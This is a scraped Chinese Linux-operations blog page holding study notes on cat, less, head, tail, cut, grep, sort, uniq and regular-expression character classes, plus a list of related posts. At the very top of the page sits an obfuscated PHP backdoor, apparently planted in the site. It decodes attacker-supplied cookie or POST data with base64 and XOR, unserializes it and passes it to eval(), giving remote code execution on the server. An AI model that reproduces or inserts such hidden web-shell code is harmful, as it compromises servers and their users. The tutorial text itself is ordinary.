$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 笔记–8.4 文本处理工具,正则表达式 | Linux运维部落

笔记–8.4 文本处理工具,正则表达式

cat 查看文本文件

命令功能:

cat主要有三大功能:

1.一次显示整个文件:cat filename

2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.

3.将几个文件合并为一个文件:cat file1 file2 > file

  -A :相当于 -vET 的整合选项,可列出一些特殊字符而不是空白而已;

  -E :将结尾的断行字符 $ 显示出来;

  -T :将 [tab] 按键以 ^I 显示出来;

  -v :列出一些看不出来的特殊字符 grep -v '自己设定'

  -n :打印出行号,连同空白行也会有行号,与 -b 的选项不同;

  -b :列出行号,仅针对非空白行做行号显示,空白行不标行号!

  -s: 当遇到有连续两行以上的空白行,就代换为一行的空白行

rev:cat所显示的内容每行内倒着显示


tac 作用等同于cat,不过是倒叙显示cat的内容

  优点:如果行数太多,用cat在屏幕上不会完整显示,需要配合more和less,假如我们所要看的内容在文本的后面,使用tac就会方便很多了

more:分页查看文件 more [OPTIONS…] FILE… 只能向下翻,不能向上翻·空格键:代表向下翻一页;

·Enter :代表向下翻一行;

·/字符串 :在显示的内容中,向下搜寻“/”后面的这个关键词;

·q :代表立刻离开 more ,不再显示该文件内容。

less :一页一页地查看文件或STDIN 输出,支持向上,向下翻页

·空格键 :向下翻动一页;

·pagedown:向下翻动一页;

·pageup :向上翻动一页;

·/字符串 :向下搜寻『字符串』的功能;

·?字符串 :向上搜寻『字符串』的功能;

·n :重复前一个搜寻 (与 / 或 ? 有关!)

·N :反向的重复前一个搜寻 (与 / 或 ? 有关!)

·g :前进到这个资料的第一行去;

·G :前进到这个数据的最后一行去 (注意大小写);

·q :离开 less 这个程序;

head 取出文件前n行,默认10行 

   -c #:指定获取前# 字节

   -n #:指定获取前#行 

tail 取出文件后n行,默认10行 

   -c #: 指定获取后# 字节

   -n #: 指定获取后#行 

   -f: 跟踪显示文件新追加的内容, 常用日志监(/var/log/messages 随时会有数据写入,想让该文件有数据写入时就立刻显示到屏幕上, 就利用 -f 这个选项,他可以一直侦测/var/log/messages 这个文件,新写入的数据都会被显示到屏幕上。 crtl-c 离开

    

练习:显示 /etc/man_db.conf 的第 11 到第 20 行

blob.png

cut 在指定的行中,按列切割,取出所需的字段

  -d :  指明分隔符,默认tab

  -f :

   #:  第# 个字段

   #,#[,#] :离散的多个字段,例如1,3,6

   #-# :连续的多个字段,  例如1-6

   混合使用:1-3,7

 -c 按字符切割

 –output-delimiter=STRING

  显示文件或STDIN 数据的指定列

blob.png

  

wc [- – lwm]

-l :仅列出行;

-w :仅列出多少字(英文单字);

-m :多少字符;

练习

知道使用 last 可以输出登入者,但是 last 最后两行并非账号内容,那么请问,该如何以一行指令串取得登入系统的总人次?

blob.png

grep 

–color=auto:  对匹配到的文本着色显示;

-v: 显示不能够被pattern 匹配到的行;

-i: 忽略字符大小写

-n:显示匹配的行号

-c: 统计匹配的行数

-o: 仅显示匹配到的字符串;

-q:  静默模式,不输出任何信息

-A # :after,  后#行 行

-B #: before,  前#行 行

-C # :context,  前后各#行 行

-e :实现多个选项间的逻辑or 关系    grep –e ‘cat ’ -e ‘dog’ file

-w :整行匹配整个单词

-E :使用ERE

blob.png

blob.png

sort把整理过的文本显示在STDOUT ,不改变原始文件  sort [options] file(s)

-r 执行反方向(由上至下)整理

-n 执行按数字大小整理

-f 选项忽略(fold )字符串中的字符大小写

-u 选项(独特,unique )删除输出中的重复行

-t c 选项使用c 做为字段界定符

-k X 选项按照使用c 字符分隔的X

blob.png

uniq:从输入中删除重复的前后相接的行   uniq [OPTION]… [FILE]…

-c:  显示每行重复出现的次数;

-d:  仅显示重复过的行;

-u:  仅显示不曾重复的行;

连续且完全相同方为重复

  常和sort  命令一起配合使用:

sort userlist.txt | uniq -c

blob.png

英文大小写

[:alpha:]

英文小写 [:lower:]
英文大写 [:upper:]
数字 [:digit:]
数字+英文大小写 [:alnum:]
space,tab 两键 [:blank:]
键盘上控制键 CR, LF, Tab, Del.. [:cntrl:]
除了space和tab外的所有键 [:graph:]
标点符号 [:punct:]

blob.png

blob.png

blob.png

字符匹配:

. : 匹配任意单个字符;

[] :匹配指定范围内的任意单个字符

[^]:匹配指定范围外的任意单个字符

blob.png

blob.png

blob.png

位置锚定:定位出现的位置

^ :行首锚定,用于模式的最左侧

$ :行尾锚定,用于模式的最右侧

^PATTERN$:  用于模式匹配整行

^$: 空行

^[[:space:]]*$  :空白行

\< 或 \b :词首锚定,用于单词模式的左侧

\<PATTERN\>:匹配整个单词

blob.png

blob.png

blob.png

blob.png

blob.png

blob.png

# grep -n '0*' regular_express.txt

# grep -n '00*' regular_express.txt 

# grep -n '000*' regular_express.txt  

blob.png

blob.png

blob.png

blob.png 

原创文章,作者:wutianyou,如若转载,请注明出处:http://www.178linux.com/29521

(0)
上一篇 2016-08-07 22:06
下一篇 2016-08-07 22:06

相关推荐

  • 网络N23期第二周:linux上的目录与文件管理命令,bash的工作特性等

    1、Linux上的目录与文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 1.1 mkdir  创建目录 使用方法:mkdir [OPTION]… DIRECTORY… 常用选项: -p:按需创建父目录 -m:创建目录权限 -v:输出详细创建目录过程 实例: 创建/tmp/test2/test3目录,定义权限为rwxrw-rw-,并详细显…

    Linux干货 2016-10-09
  • 脚本实现httpd创建虚拟主机

    概述 本文使用脚本实现基于主机名的虚拟主机按需创建: 脚本可接受参数,提供独立站点目录; 生成独立站点首页; 脚本可接受参数,参数虚拟主机名称; 每虚拟使用单独的配置文件; 脚本可接受参数,参数虚拟主机名称; 环境 系统基于CentOS7.2,并通过yum安装httpd 2.4.6 建议关闭防火墙和selinux。 演示   客户机将域名解析写入/…

    Linux干货 2016-10-08
  • 网络管理之多网卡bond,mode1

    一.概述 Bonding     就是将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。当然,直接给两块网卡设置同一IP地址是不可能的。通过bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址。 Bonding的工作模式     Mode…

    Linux干货 2016-09-15
  • 招聘Linux运维工程师

    岗位职责: 公司集群硬件的日常维护及管理 负责公司内网的服务器安装,部署和维护 监控服务器状态,发现问题并及时维护 负责产品发布上线 承担mangoDB的日常巡检 集群数据服务器的备份 编写服务器维护脚本,减少工作量,提高工作效率 任职要求: 1年以上Linux系统管理经验,精通Linux的管理和维护 能够熟练编排查运维过程中出现的服务故障,系统故障,网络故…

    Linux干货 2017-12-04
  • Mozart的剑(文本处理工具)——壹剑(文本查看cat、more、less)

    壹剑(文本查看cat、more、less) 博客之前突然想起两句话,很有意思的话,在此贴出上句,希望可以与大家分享,不可问度娘,有兴趣的可以试试。 上句:烟锁池塘柳    下句: 上句:因荷而得藕    下句: 1>cat命令是Linux系统下的一个文本输出命令,一般是用于观看某个文件的内容,特点:一次性显示整个…

    2017-07-29
  • Linux常用命令及bash特性(1)

    马哥教育网络班22期第二周课程练习 Linux简单使用(1) Linux常用命令介绍 linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心。 linux命令在系统中有两种类型:内置Shell命令和Linux命令。可以使用help、…

    Linux干货 2016-08-29